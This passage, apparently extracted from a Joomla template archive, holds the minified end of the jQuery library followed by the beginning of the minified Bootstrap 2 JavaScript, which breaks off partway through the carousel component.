u=="string")if(!gt.test(u))u=t.createTextNode(u);else{y=y||lt(t),c=t.createElement("div"),y.appendChild(c),u=u.replace(dt,"<$1></$2>"),a=(vt.exec(u)||["",""])[1].toLowerCase(),f=Nt[a]||Nt._default,l=f[0],c.innerHTML=f[1]+u+f[2];while(l--)c=c.lastChild;if(!v.support.tbody){h=mt.test(u),p=a==="table"&&!h?c.firstChild&&c.firstChild.childNodes:f[1]==="<table>"&&!h?c.childNodes:[];for(o=p.length-1;o>=0;--o)v.nodeName(p[o],"tbody")&&!p[o].childNodes.length&&p[o].parentNode.removeChild(p[o])}!v.support.leadingWhitespace&&pt.test(u)&&c.insertBefore(t.createTextNode(pt.exec(u)[0]),c.firstChild),u=c.childNodes,c.parentNode.removeChild(c)}u.nodeType?b.push(u):v.merge(b,u)}c&&(u=c=y=null);if(!v.support.appendChecked)for(s=0;(u=b[s])!=null;s++)v.nodeName(u,"input")?_t(u):typeof u.getElementsByTagName!="undefined"&&v.grep(u.getElementsByTagName("input"),_t);if(n){m=function(e){if(!e.type||xt.test(e.type))return r?r.push(e.parentNode?e.parentNode.removeChild(e):e):n.appendChild(e)};for(s=0;(u=b[s])!=null;s++)if(!v.nodeName(u,"script")||!m(u))n.appendChild(u),typeof u.getElementsByTagName!="undefined"&&(g=v.grep(v.merge([],u.getElementsByTagName("script")),m),b.splice.apply(b,[s+1,0].concat(g)),s+=g.length)}return b},cleanData:function(e,t){var n,r,i,s,o=0,u=v.expando,a=v.cache,f=v.support.deleteExpando,l=v.event.special;for(;(i=e[o])!=null;o++)if(t||v.acceptData(i)){r=i[u],n=r&&a[r];if(n){if(n.events)for(s in n.events)l[s]?v.event.remove(i,s):v.removeEvent(i,s,n.handle);a[r]&&(delete a[r],f?delete i[u]:i.removeAttribute?i.removeAttribute(u):i[u]=null,v.deletedIds.push(r))}}}}),function(){var e,t;v.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||e.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e=v.uaMatch(o.userAgent),t={},e.browser&&(t[e.browser]=!0,t.version=e.version),t.chrome?t.webkit=!0:t.webkit&&(t.safari=!0),v.browser=t,v.sub=function(){function e(t,n){return new e.fn.init(t,n)}v.extend(!0,e,this),e.superclass=this,e.fn=e.prototype=this(),e.fn.constructor=e,e.sub=this.sub,e.fn.init=function(r,i){return i&&i instanceof v&&!(i instanceof e)&&(i=e(i)),v.fn.init.call(this,r,i,t)},e.fn.init.prototype=e.fn;var t=e(i);return e}}();var Dt,Pt,Ht,Bt=/alpha\([^)]*\)/i,jt=/opacity=([^)]*)/,Ft=/^(top|right|bottom|left)$/,It=/^(none|table(?!-c[ea]).+)/,qt=/^margin/,Rt=new RegExp("^("+m+")(.*)$","i"),Ut=new RegExp("^("+m+")(?!px)[a-z%]+$","i"),zt=new RegExp("^([-+])=("+m+")","i"),Wt={BODY:"block"},Xt={position:"absolute",visibility:"hidden",display:"block"},Vt={letterSpacing:0,fontWeight:400},$t=["Top","Right","Bottom","Left"],Jt=["Webkit","O","Moz","ms"],Kt=v.fn.toggle;v.fn.extend({css:function(e,n){return v.access(this,function(e,n,r){return r!==t?v.style(e,n,r):v.css(e,n)},e,n,arguments.length>1)},show:function(){return Yt(this,!0)},hide:function(){return Yt(this)},toggle:function(e,t){var n=typeof e=="boolean";return v.isFunction(e)&&v.isFunction(t)?Kt.apply(this,arguments):this.each(function(){(n?e:Gt(this))?v(this).show():v(this).hide()})}}),v.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Dt(e,"opacity");return n===""?"1":n}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":v.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(!e||e.nodeType===3||e.nodeType===8||!e.style)return;var s,o,u,a=v.camelCase(n),f=e.style;n=v.cssProps[a]||(v.cssProps[a]=Qt(f,a)),u=v.cssHooks[n]||v.cssHooks[a];if(r===t)return u&&"get"in u&&(s=u.get(e,!1,i))!==t?s:f[n];o=typeof r,o==="string"&&(s=zt.exec(r))&&(r=(s[1]+1)*s[2]+parseFloat(v.css(e,n)),o="number");if(r==null||o==="number"&&isNaN(r))return;o==="number"&&!v.cssNumber[a]&&(r+="px");if(!u||!("set"in u)||(r=u.set(e,r,i))!==t)try{f[n]=r}catch(l){}},css:function(e,n,r,i){var s,o,u,a=v.camelCase(n);return n=v.cssProps[a]||(v.cssProps[a]=Qt(e.style,a)),u=v.cssHooks[n]||v.cssHooks[a],u&&"get"in u&&(s=u.get(e,!0,i)),s===t&&(s=Dt(e,n)),s==="normal"&&n in Vt&&(s=Vt[n]),r||i!==t?(o=parseFloat(s),r||v.isNumeric(o)?o||0:s):s},swap:function(e,t,n){var r,i,s={};for(i in t)s[i]=e.style[i],e.style[i]=t[i];r=n.call(e);for(i in t)e.style[i]=s[i];return r}}),e.getComputedStyle?Dt=function(t,n){var r,i,s,o,u=e.getComputedStyle(t,null),a=t.style;return u&&(r=u.getPropertyValue(n)||u[n],r===""&&!v.contains(t.ownerDocument,t)&&(r=v.style(t,n)),Ut.test(r)&&qt.test(n)&&(i=a.width,s=a.minWidth,o=a.maxWidth,a.minWidth=a.maxWidth=a.width=r,r=u.width,a.width=i,a.minWidth=s,a.maxWidth=o)),r}:i.documentElement.currentStyle&&(Dt=function(e,t){var n,r,i=e.currentStyle&&e.currentStyle[t],s=e.style;return i==null&&s&&s[t]&&(i=s[t]),Ut.test(i)&&!Ft.test(t)&&(n=s.left,r=e.runtimeStyle&&e.runtimeStyle.left,r&&(e.runtimeStyle.left=e.currentStyle.left),s.left=t==="fontSize"?"1em":i,i=s.pixelLeft+"px",s.left=n,r&&(e.runtimeStyle.left=r)),i===""?"auto":i}),v.each(["height","width"],function(e,t){v.cssHooks[t]={get:function(e,n,r){if(n)return e.offsetWidth===0&&It.test(Dt(e,"display"))?v.swap(e,Xt,function(){return tn(e,t,r)}):tn(e,t,r)},set:function(e,n,r){return Zt(e,n,r?en(e,t,r,v.support.boxSizing&&v.css(e,"boxSizing")==="border-box"):0)}}}),v.support.opacity||(v.cssHooks.opacity={get:function(e,t){return jt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=v.isNumeric(t)?"alpha(opacity="+t*100+")":"",s=r&&r.filter||n.filter||"";n.zoom=1;if(t>=1&&v.trim(s.replace(Bt,""))===""&&n.removeAttribute){n.removeAttribute("filter");if(r&&!r.filter)return}n.filter=Bt.test(s)?s.replace(Bt,i):s+" "+i}}),v(function(){v.support.reliableMarginRight||(v.cssHooks.marginRight={get:function(e,t){return v.swap(e,{display:"inline-block"},function(){if(t)return Dt(e,"marginRight")})}}),!v.support.pixelPosition&&v.fn.position&&v.each(["top","left"],function(e,t){v.cssHooks[t]={get:function(e,n){if(n){var r=Dt(e,t);return Ut.test(r)?v(e).position()[t]+"px":r}}}})}),v.expr&&v.expr.filters&&(v.expr.filters.hidden=function(e){return e.offsetWidth===0&&e.offsetHeight===0||!v.support.reliableHiddenOffsets&&(e.style&&e.style.display||Dt(e,"display"))==="none"},v.expr.filters.visible=function(e){return!v.expr.filters.hidden(e)}),v.each({margin:"",padding:"",border:"Width"},function(e,t){v.cssHooks[e+t]={expand:function(n){var r,i=typeof n=="string"?n.split(" "):[n],s={};for(r=0;r<4;r++)s[e+$t[r]+t]=i[r]||i[r-2]||i[0];return s}},qt.test(e)||(v.cssHooks[e+t].set=Zt)});var rn=/%20/g,sn=/\[\]$/,on=/\r?\n/g,un=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,an=/^(?:select|textarea)/i;v.fn.extend({serialize:function(){return v.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?v.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||an.test(this.nodeName)||un.test(this.type))}).map(function(e,t){var n=v(this).val();return n==null?null:v.isArray(n)?v.map(n,function(e,n){return{name:t.name,value:e.replace(on,"\r\n")}}):{name:t.name,value:n.replace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)||e.jquery&&!v.isPlainObject(e))v.each(e,function(){s(this.name,this.value)});else for(r in e)fn(r,e[r],n,s);return i.join("&").replace(rn,"+")};var ln,cn,hn=/#.*$/,pn=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,dn=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,vn=/^(?:GET|HEAD)$/,mn=/^\/\//,gn=/\?/,yn=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bn=/([?&])_=[^&]*/,wn=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,En=v.fn.load,Sn={},xn={},Tn=["*/"]+["*"];try{cn=s.href}catch(Nn){cn=i.createElement("a"),cn.href="",cn=cn.href}ln=wn.exec(cn.toLowerCase())||[],v.fn.load=function(e,n,r){if(typeof e!="string"&&En)return En.apply(this,arguments);if(!this.length)return this;var i,s,o,u=this,a=e.indexOf(" ");return a>=0&&(i=e.slice(a,e.length),e=e.slice(0,a)),v.isFunction(n)?(r=n,n=t):n&&typeof n=="object"&&(s="POST"),v.ajax({url:e,type:s,dataType:"html",data:n,complete:function(e,t){r&&u.each(r,o||[e.responseText,t,e])}}).done(function(e){o=arguments,u.html(i?v("<div>").append(e.replace(yn,"")).find(i):e)}),this},v.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(e,t){v.fn[t]=function(e){return this.on(t,e)}}),v.each(["get","post"],function(e,n){v[n]=function(e,r,i,s){return v.isFunction(r)&&(s=s||i,i=r,r=t),v.ajax({type:n,url:e,data:r,success:i,dataType:s})}}),v.extend({getScript:function(e,n){return v.get(e,t,n,"script")},getJSON:function(e,t,n){return v.get(e,t,n,"json")},ajaxSetup:function(e,t){return t?Ln(e,v.ajaxSettings):(t=e,e=v.ajaxSettings),Ln(e,t),e},ajaxSettings:{url:cn,isLocal:dn.test(ln[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":Tn},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":e.String,"text html":!0,"text json":v.parseJSON,"text xml":v.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:Cn(Sn),ajaxTransport:Cn(xn),ajax:function(e,n){function T(e,n,s,a){var l,y,b,w,S,T=n;if(E===2)return;E=2,u&&clearTimeout(u),o=t,i=a||"",x.readyState=e>0?4:0,s&&(w=An(c,x,s));if(e>=200&&e<300||e===304)c.ifModified&&(S=x.getResponseHeader("Last-Modified"),S&&(v.lastModified[r]=S),S=x.getResponseHeader("Etag"),S&&(v.etag[r]=S)),e===304?(T="notmodified",l=!0):(l=On(c,w),T=l.state,y=l.data,b=l.error,l=!b);else{b=T;if(!T||e)T="error",e<0&&(e=0)}x.status=e,x.statusText=(n||T)+"",l?d.resolveWith(h,[y,T,x]):d.rejectWith(h,[x,T,b]),x.statusCode(g),g=t,f&&p.trigger("ajax"+(l?"Success":"Error"),[x,c,l?y:b]),m.fireWith(h,[x,T]),f&&(p.trigger("ajaxComplete",[x,c]),--v.active||v.event.trigger("ajaxStop"))}typeof e=="object"&&(n=e,e=t),n=n||{};var r,i,s,o,u,a,f,l,c=v.ajaxSetup({},n),h=c.context||c,p=h!==c&&(h.nodeType||h instanceof v)?v(h):v.event,d=v.Deferred(),m=v.Callbacks("once memory"),g=c.statusCode||{},b={},w={},E=0,S="canceled",x={readyState:0,setRequestHeader:function(e,t){if(!E){var n=e.toLowerCase();e=w[n]=w[n]||e,b[e]=t}return this},getAllResponseHeaders:function(){return E===2?i:null},getResponseHeader:function(e){var n;if(E===2){if(!s){s={};while(n=pn.exec(i))s[n[1].toLowerCase()]=n[2]}n=s[e.toLowerCase()]}return n===t?null:n},overrideMimeType:function(e){return E||(c.mimeType=e),this},abort:function(e){return e=e||S,o&&o.abort(e),T(0,e),this}};d.promise(x),x.success=x.done,x.error=x.fail,x.complete=m.add,x.statusCode=function(e){if(e){var t;if(E<2)for(t in e)g[t]=[g[t],e[t]];else t=e[x.status],x.always(t)}return this},c.url=((e||c.url)+"").replace(hn,"").replace(mn,ln[1]+"//"),c.dataTypes=v.trim(c.dataType||"*").toLowerCase().split(y),c.crossDomain==null&&(a=wn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===ln[1]&&a[2]===ln[2]&&(a[3]||(a[1]==="http:"?80:443))==(ln[3]||(ln[1]==="http:"?80:443)))),c.data&&c.processData&&typeof c.data!="string"&&(c.data=v.param(c.data,c.traditional)),kn(Sn,c,n,x);if(E===2)return x;f=c.global,c.type=c.type.toUpperCase(),c.hasContent=!vn.test(c.type),f&&v.active++===0&&v.event.trigger("ajaxStart");if(!c.hasContent){c.data&&(c.url+=(gn.test(c.url)?"&":"?")+c.data,delete c.data),r=c.url;if(c.cache===!1){var N=v.now(),C=c.url.replace(bn,"$1_="+N);c.url=C+(C===c.url?(gn.test(c.url)?"&":"?")+"_="+N:"")}}(c.data&&c.hasContent&&c.contentType!==!1||n.contentType)&&x.setRequestHeader("Content-Type",c.contentType),c.ifModified&&(r=r||c.url,v.lastModified[r]&&x.setRequestHeader("If-Modified-Since",v.lastModified[r]),v.etag[r]&&x.setRequestHeader("If-None-Match",v.etag[r])),x.setRequestHeader("Accept",c.dataTypes[0]&&c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(c.dataTypes[0]!=="*"?", "+Tn+"; q=0.01":""):c.accepts["*"]);for(l in c.headers)x.setRequestHeader(l,c.headers[l]);if(!c.beforeSend||c.beforeSend.call(h,x,c)!==!1&&E!==2){S="abort";for(l in{success:1,error:1,complete:1})x[l](c[l]);o=kn(xn,c,n,x);if(!o)T(-1,"No Transport");else{x.readyState=1,f&&p.trigger("ajaxSend",[x,c]),c.async&&c.timeout>0&&(u=setTimeout(function(){x.abort("timeout")},c.timeout));try{E=1,o.send(b,T)}catch(k){if(!(E<2))throw k;T(-1,k)}}return x}return x.abort()},active:0,lastModified:{},etag:{}});var Mn=[],_n=/\?/,Dn=/(=)\?(?=&|$)|\?\?/,Pn=v.now();v.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Mn.pop()||v.expando+"_"+Pn++;return this[e]=!0,e}}),v.ajaxPrefilter("json jsonp",function(n,r,i){var s,o,u,a=n.data,f=n.url,l=n.jsonp!==!1,c=l&&Dn.test(f),h=l&&!c&&typeof a=="string"&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Dn.test(a);if(n.dataTypes[0]==="jsonp"||c||h)return s=n.jsonpCallback=v.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,o=e[s],c?n.url=f.replace(Dn,"$1"+s):h?n.data=a.replace(Dn,"$1"+s):l&&(n.url+=(_n.test(f)?"&":"?")+n.jsonp+"="+s),n.converters["script json"]=function(){return u||v.error(s+" was not called"),u[0]},n.dataTypes[0]="json",e[s]=function(){u=arguments},i.always(function(){e[s]=o,n[s]&&(n.jsonpCallback=r.jsonpCallback,Mn.push(s)),u&&v.isFunction(o)&&o(u[0]),u=o=t}),"script"}),v.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(e){return v.globalEval(e),e}}}),v.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),v.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=i.head||i.getElementsByTagName("head")[0]||i.documentElement;return{send:function(s,o){n=i.createElement("script"),n.async="async",e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,i){if(i||!n.readyState||/loaded|complete/.test(n.readyState))n.onload=n.onreadystatechange=null,r&&n.parentNode&&r.removeChild(n),n=t,i||o(200,"success")},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(0,1)}}}});var Hn,Bn=e.ActiveXObject?function(){for(var e in Hn)Hn[e](0,1)}:!1,jn=0;v.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&Fn()||In()}:Fn,function(e){v.extend(v.support,{ajax:!!e,cors:!!e&&"withCredentials"in e})}(v.ajaxSettings.xhr()),v.support.ajax&&v.ajaxTransport(function(n){if(!n.crossDomain||v.support.cors){var r;return{send:function(i,s){var o,u,a=n.xhr();n.username?a.open(n.type,n.url,n.async,n.username,n.password):a.open(n.type,n.url,n.async);if(n.xhrFields)for(u in n.xhrFields)a[u]=n.xhrFields[u];n.mimeType&&a.overrideMimeType&&a.overrideMimeType(n.mimeType),!n.crossDomain&&!i["X-Requested-With"]&&(i["X-Requested-With"]="XMLHttpRequest");try{for(u in i)a.setRequestHeader(u,i[u])}catch(f){}a.send(n.hasContent&&n.data||null),r=function(e,i){var u,f,l,c,h;try{if(r&&(i||a.readyState===4)){r=t,o&&(a.onreadystatechange=v.noop,Bn&&delete Hn[o]);if(i)a.readyState!==4&&a.abort();else{u=a.status,l=a.getAllResponseHeaders(),c={},h=a.responseXML,h&&h.documentElement&&(c.xml=h);try{c.text=a.responseText}catch(p){}try{f=a.statusText}catch(p){f=""}!u&&n.isLocal&&!n.crossDomain?u=c.text?200:404:u===1223&&(u=204)}}}catch(d){i||s(-1,d)}c&&s(u,f,c,l)},n.async?a.readyState===4?setTimeout(r,0):(o=++jn,Bn&&(Hn||(Hn={},v(e).unload(Bn)),Hn[o]=r),a.onreadystatechange=r):r()},abort:function(){r&&r(0,1)}}}});var qn,Rn,Un=/^(?:toggle|show|hide)$/,zn=new RegExp("^(?:([-+])=|)("+m+")([a-z%]*)$","i"),Wn=/queueHooks$/,Xn=[Gn],Vn={"*":[function(e,t){var n,r,i=this.createTween(e,t),s=zn.exec(t),o=i.cur(),u=+o||0,a=1,f=20;if(s){n=+s[2],r=s[3]||(v.cssNumber[e]?"":"px");if(r!=="px"&&u){u=v.css(i.elem,e,!0)||n||1;do a=a||".5",u/=a,v.style(i.elem,e,u+r);while(a!==(a=i.cur()/o)&&a!==1&&--f)}i.unit=r,i.start=u,i.end=s[1]?u+(s[1]+1)*n:n}return i}]};v.Animation=v.extend(Kn,{tweener:function(e,t){v.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;r<i;r++)n=e[r],Vn[n]=Vn[n]||[],Vn[n].unshift(t)},prefilter:function(e,t){t?Xn.unshift(e):Xn.push(e)}}),v.Tween=Yn,Yn.prototype={constructor:Yn,init:function(e,t,n,r,i,s){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=s||(v.cssNumber[n]?"":"px")},cur:function(){var e=Yn.propHooks[this.prop];return e&&e.get?e.get(this):Yn.propHooks._default.get(this)},run:function(e){var t,n=Yn.propHooks[this.prop];return this.options.duration?this.pos=t=v.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Yn.propHooks._default.set(this),this}},Yn.prototype.init.prototype=Yn.prototype,Yn.propHooks={_default:{get:function(e){var t;return e.elem[e.prop]==null||!!e.elem.style&&e.elem.style[e.prop]!=null?(t=v.css(e.elem,e.prop,!1,""),!t||t==="auto"?0:t):e.elem[e.prop]},set:function(e){v.fx.step[e.prop]?v.fx.step[e.prop](e):e.elem.style&&(e.elem.style[v.cssProps[e.prop]]!=null||v.cssHooks[e.prop])?v.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},Yn.propHooks.scrollTop=Yn.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},v.each(["toggle","show","hide"],function(e,t){var n=v.fn[t];v.fn[t]=function(r,i,s){return r==null||typeof r=="boolean"||!e&&v.isFunction(r)&&v.isFunction(i)?n.apply(this,arguments):this.animate(Zn(t,!0),r,i,s)}}),v.fn.extend({fadeTo:function(e,t,n,r){return this.filter(Gt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=v.isEmptyObject(e),s=v.speed(t,n,r),o=function(){var t=Kn(this,v.extend({},e),s);i&&t.stop(!0)};return i||s.queue===!1?this.each(o):this.queue(s.queue,o)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return typeof e!="string"&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=e!=null&&e+"queueHooks",s=v.timers,o=v._data(this);if(n)o[n]&&o[n].stop&&i(o[n]);else for(n in o)o[n]&&o[n].stop&&Wn.test(n)&&i(o[n]);for(n=s.length;n--;)s[n].elem===this&&(e==null||s[n].queue===e)&&(s[n].anim.stop(r),t=!1,s.splice(n,1));(t||!r)&&v.dequeue(this,e)})}}),v.each({slideDown:Zn("show"),slideUp:Zn("hide"),slideToggle:Zn("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){v.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),v.speed=function(e,t,n){var r=e&&typeof e=="object"?v.extend({},e):{complete:n||!n&&t||v.isFunction(e)&&e,duration:e,easing:n&&t||t&&!v.isFunction(t)&&t};r.duration=v.fx.off?0:typeof r.duration=="number"?r.duration:r.duration in v.fx.speeds?v.fx.speeds[r.duration]:v.fx.speeds._default;if(r.queue==null||r.queue===!0)r.queue="fx";return r.old=r.complete,r.complete=function(){v.isFunction(r.old)&&r.old.call(this),r.queue&&v.dequeue(this,r.queue)},r},v.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},v.timers=[],v.fx=Yn.prototype.init,v.fx.tick=function(){var e,n=v.timers,r=0;qn=v.now();for(;r<n.length;r++)e=n[r],!e()&&n[r]===e&&n.splice(r--,1);n.length||v.fx.stop(),qn=t},v.fx.timer=function(e){e()&&v.timers.push(e)&&!Rn&&(Rn=setInterval(v.fx.tick,v.fx.interval))},v.fx.interval=13,v.fx.stop=function(){clearInterval(Rn),Rn=null},v.fx.speeds={slow:600,fast:200,_default:400},v.fx.step={},v.expr&&v.expr.filters&&(v.expr.filters.animated=function(e){return v.grep(v.timers,function(t){return e===t.elem}).length});var er=/^(?:body|html)$/i;v.fn.offset=function(e){if(arguments.length)return e===t?this:this.each(function(t){v.offset.setOffset(this,e,t)});var n,r,i,s,o,u,a,f={top:0,left:0},l=this[0],c=l&&l.ownerDocument;if(!c)return;return(r=c.body)===l?v.offset.bodyOffset(l):(n=c.documentElement,v.contains(n,l)?(typeof l.getBoundingClientRect!="undefined"&&(f=l.getBoundingClientRect()),i=tr(c),s=n.clientTop||r.clientTop||0,o=n.clientLeft||r.clientLeft||0,u=i.pageYOffset||n.scrollTop,a=i.pageXOffset||n.scrollLeft,{top:f.top+u-s,left:f.left+a-o}):f)},v.offset={bodyOffset:function(e){var t=e.offsetTop,n=e.offsetLeft;return v.support.doesNotIncludeMarginInBodyOffset&&(t+=parseFloat(v.css(e,"marginTop"))||0,n+=parseFloat(v.css(e,"marginLeft"))||0),{top:t,left:n}},setOffset:function(e,t,n){var r=v.css(e,"position");r==="static"&&(e.style.position="relative");var i=v(e),s=i.offset(),o=v.css(e,"top"),u=v.css(e,"left"),a=(r==="absolute"||r==="fixed")&&v.inArray("auto",[o,u])>-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)||0,h=parseFloat(u)||0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.top+c),t.left!=null&&(f.left=t.left-s.left+h),"using"in t?t.using.call(e,f):i.css(f)}},v.fn.extend({position:function(){if(!this[0])return;var e=this[0],t=this.offsetParent(),n=this.offset(),r=er.test(t[0].nodeName)?{top:0,left:0}:t.offset();return n.top-=parseFloat(v.css(e,"marginTop"))||0,n.left-=parseFloat(v.css(e,"marginLeft"))||0,r.top+=parseFloat(v.css(t[0],"borderTopWidth"))||0,r.left+=parseFloat(v.css(t[0],"borderLeftWidth"))||0,{top:n.top-r.top,left:n.left-r.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||i.body;while(e&&!er.test(e.nodeName)&&v.css(e,"position")==="static")e=e.offsetParent;return e||i.body})}}),v.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);v.fn[e]=function(i){return v.access(this,function(e,i,s){var o=tr(e);if(s===t)return o?n in o?o[n]:o.document.documentElement[i]:e[i];o?o.scrollTo(r?v(o).scrollLeft():s,r?s:v(o).scrollTop()):e[i]=s},e,i,arguments.length,null)}}),v.each({Height:"height",Width:"width"},function(e,n){v.each({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){v.fn[i]=function(i,s){var o=arguments.length&&(r||typeof i!="boolean"),u=r||(i===!0||s===!0?"margin":"border");return v.access(this,function(n,r,i){var s;return v.isWindow(n)?n.document.documentElement["client"+e]:n.nodeType===9?(s=n.documentElement,Math.max(n.body["scroll"+e],s["scroll"+e],n.body["offset"+e],s["offset"+e],s["client"+e])):i===t?v.css(n,r,i,u):v.style(n,r,i,u)},n,o?i:t,o,null)}})}),e.jQuery=e.$=v,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return v})})(window);
PK!2�A�r�rbluejoomla/js/bootstrap.min.jsnu&1i�/*!
* Bootstrap.js by @fat & @mdo
* Copyright 2012 Twitter, Inc.
* http://www.apache.org/licenses/LICENSE-2.0.txt
*/
!function(e){"use strict";e(function(){e.support.transition=function(){var e=function(){var e=document.createElement("bootstrap"),t={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},n;for(n in t){if(e.style[n]!==undefined){return t[n]}}}();return e&&{end:e}}()})}(window.jQuery);!function(e){"use strict";var t='[data-dismiss="alert"]',n=function(n){e(n).on("click",t,this.close)};n.prototype.close=function(t){function s(){i.trigger("closed").remove()}var n=e(this),r=n.attr("data-target"),i;if(!r){r=n.attr("href");r=r&&r.replace(/.*(?=#[^\s]*$)/,"")}i=e(r);t&&t.preventDefault();i.length||(i=n.hasClass("alert")?n:n.parent());i.trigger(t=e.Event("close"));if(t.isDefaultPrevented())return;i.removeClass("in");e.support.transition&&i.hasClass("fade")?i.on(e.support.transition.end,s):s()};var r=e.fn.alert;e.fn.alert=function(t){return this.each(function(){var r=e(this),i=r.data("alert");if(!i)r.data("alert",i=new n(this));if(typeof t=="string")i[t].call(r)})};e.fn.alert.Constructor=n;e.fn.alert.noConflict=function(){e.fn.alert=r;return this};e(document).on("click.alert.data-api",t,n.prototype.close)}(window.jQuery);!function(e){"use strict";var t=function(t,n){this.$element=e(t);this.options=e.extend({},e.fn.button.defaults,n)};t.prototype.setState=function(e){var t="disabled",n=this.$element,r=n.data(),i=n.is("input")?"val":"html";e=e+"Text";r.resetText||n.data("resetText",n[i]());n[i](r[e]||this.options[e]);setTimeout(function(){e=="loadingText"?n.addClass(t).attr(t,t):n.removeClass(t).removeAttr(t)},0)};t.prototype.toggle=function(){var e=this.$element.closest('[data-toggle="buttons-radio"]');e&&e.find(".active").removeClass("active");this.$element.toggleClass("active")};var n=e.fn.button;e.fn.button=function(n){return this.each(function(){var r=e(this),i=r.data("button"),s=typeof n=="object"&&n;if(!i)r.data("button",i=new t(this,s));if(n=="toggle")i.toggle();else if(n)i.setState(n)})};e.fn.button.defaults={loadingText:"loading..."};e.fn.button.Constructor=t;e.fn.button.noConflict=function(){e.fn.button=n;return this};e(document).on("click.button.data-api","[data-toggle^=button]",function(t){var n=e(t.target);if(!n.hasClass("btn"))n=n.closest(".btn");n.button("toggle")})}(window.jQuery);!function(e){"use strict";var t=function(t,n){this.$element=e(t);this.$indicators=this.$element.find(".carousel-indicators");this.options=n;this.options.pause=="hover"&&this.$element.on("mouseenter",e.proxy(this.pause,this)).on("mouseleave",e.proxy(this.cycle,this))};t.prototype={cycle:function(t){if(!t)this.paused=false;if(this.interval)clearInterval(this.interval);this.options.interval&&!this.paused&&(this.interval=setInterval(e.proxy(this.next,this),this.options.interval));return this},getActiveIndex:function(){this.$active=this.$element.find(".item.active");this.$items=this.$active.parent().children();return this.$items.index(this.$active)},to:function(t){var n=this.getActiveIndex(),r=this;if(t>this.$items.length-1||t<0)return;if(this.sliding){return this.$element.one("slid",function(){r.to(t)})}if(n==t){return this.pause().cycle()}return this.slide(t>n?"next":"prev",e(this.$items[t]))},pause:function(t){if(!t)this.paused=true;if(this.$element.find(".next, .prev").length&&e.support.transition.end){this.$element.trigger(e.support.transition.end);this.cycle(true)}clearInterval(this.interval);this.interval=null;return this},next:function(){if(this.sliding)return;return this.slide("next")},prev:function(){if(this.sliding)return;return 